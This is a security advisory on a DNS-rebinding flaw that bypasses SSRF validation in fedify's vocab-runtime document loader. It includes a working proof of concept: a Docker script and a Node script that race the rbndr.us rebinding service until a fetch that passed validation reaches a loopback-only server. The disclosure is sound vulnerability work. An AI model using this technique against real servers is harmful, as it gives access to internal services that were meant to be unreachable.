DNS rebinding bypasses SSRF protection
Description
SSRF validation in fedify has a TOCTOU vulnerability. Specifically, if an attacker coordinates a domain to resolve to public ip in validation time and private ip in actual request time, the validation is bypassed.
Details
In packages/vocab-runtime/src/url.ts, validatePublicUrl() resolves the requested hostname with dns.lookup(hostname, { all: true }) and rejects the URL if that lookup returns a private address. In packages/vocab- runtime/src/docloader.ts, getDocumentLoader() subsequently creates a Request and passes it to the global fetch() implementation.
Validation and connection therefore perform separate DNS resolutions. The HTTP client is not constrained to the addresses that were validated. With a rebinding hostname, the validation lookup can return a public address while the connection-time lookup returns a loopback or private address.
Redirect and alternate-document handling call the loader again, but each URL remains vulnerable to the same validation/use gap.
This is an incomplete mitigation for the SSRF previously addressed by GHSA-p9cg-vqcc-grcx/CVE-2024-39687. That mitigation validates every address returned by one DNS lookup but does not bind the subsequent connection to those approved addresses.
Proof of concept
Can reproduce with Docker environment and rbndr.us..
run-poc.nu
#!/usr/bin/env nu
# DNS-rebinding SSRF PoC against @fedify/vocab-runtime's getDocumentLoader().
# Runs on Linux/glibc (via Docker) where getaddrinfo does not stub-cache, so the
# loader's validation lookup and the HTTP client's connect lookup re-query and
# observe the two faces of the public rbndr.us rebinding service.
# Nothing in Node is patched.
#
# Needs: Docker Desktop (Linux engine) and outbound DNS/HTTP. No other setup.
# Run: nu run-poc.nu
let vol = "fedify-poc-work"
let dir = $env.FILE_PWD
docker volume create $vol | ignore
print "== installing @fedify/vocab-runtime (normal DNS) =="
docker run --rm -v $"($vol):/work" -w /work node:22 sh -lc "npm init -y >/dev/null 2>&1 && npm i @fedify/vocab-runtime >/dev/null 2>&1 && node -p \"require('/work/node_modules/@fedify/vocab-runtime/package.json').version\""
print ""
print "== running PoC (container resolver -> 8.8.8.8, queries rbndr.us) =="
# 8.8.8.8 bypasses the Docker/Windows host resolver and honors rbndr's zero
# TTL, so each lookup re-queries and gets an independent random answer.
docker run --rm --dns 8.8.8.8 -v $"($vol):/work" -v $"($dir):/poc" -w /work node:22 node /poc/poc.mjs
docker volume rm $vol | ignorepoc.mjs
// DNS-rebinding SSRF PoC against @fedify/vocab-runtime's getDocumentLoader(),
// using the public rbndr.us rebinding service. Nothing in Node is patched.
//
// The container's resolver is set to 8.8.8.8 (see run-poc.nu's --dns), so DNS
// bypasses the Docker/Windows host resolver. 8.8.8.8 honors rbndr's zero TTL
// and re-queries, and Linux glibc keeps no stub cache, so the loader's
// validation lookup and the HTTP client's connect lookup each receive an
// independent answer. rbndr.us returns 127.0.0.1 or the public IP at random
// per query, so a fraction of attempts validate the public IP yet connect to
// loopback; the loop below races until one does.
import http from "node:http";
import { getDocumentLoader } from "/work/node_modules/@fedify/vocab-runtime/dist/mod.js";
// rbndr encodes both IPs as hex octets: 7f000001 = 127.0.0.1, 01010101 = 1.1.1.1
const HOST = "7f000001.01010101.rbndr.us";
const MARKER = "loopback-reach-marker-" + Math.random().toString(36).slice(2);
const MAX_ATTEMPTS = 300;
// A loopback-only service that a federation fetch must not be able to reach.
const target = http.createServer((_req, res) => {
res.setHeader("content-type", "application/activity+json");
res.end(JSON.stringify({
"@context": "https://www.w3.org/ns/activitystreams",
id: `https://${HOST}/object`,
type: "Note",
content: MARKER,
}));
});
await new Promise((r) => target.listen(0, "127.0.0.1", r));
const port = target.address().port;
const url = `http://${HOST}:${port}/object`;
// Short per-call timeout so attempts whose connect lands on the public IP do
// not each wait the default 10s.
const loader = getDocumentLoader({
skipPreloadedContexts: true,
timeout: 1500,
});
let won = false;
for (let i = 1; i <= MAX_ATTEMPTS && !won; i++) {
try {
const result = await loader(url);
if (JSON.stringify(result.document).includes(MARKER)) {
won = true;
console.log(
`SSRF guard bypassed. result: ${JSON.stringify(result)}`,
);
}
} catch (e) {
// Losing race: either validation saw the private face (UrlError), or the
// connect landed on the public IP (FetchError / timeout). Retry.
}
if (i % 25 === 0 && !won) {
console.log(` ...${i} attempts, still racing rbndr`);
}
}
if (!won) {
console.log(
`\nno win within ${MAX_ATTEMPTS} attempts; rbndr randomness or an ` +
`intervening caching resolver may be coalescing the two lookups.`,
);
}
target.close();
process.exitCode = won ? 0 : 2;Impact
Internal endpoints can be improperly accessed or attacked.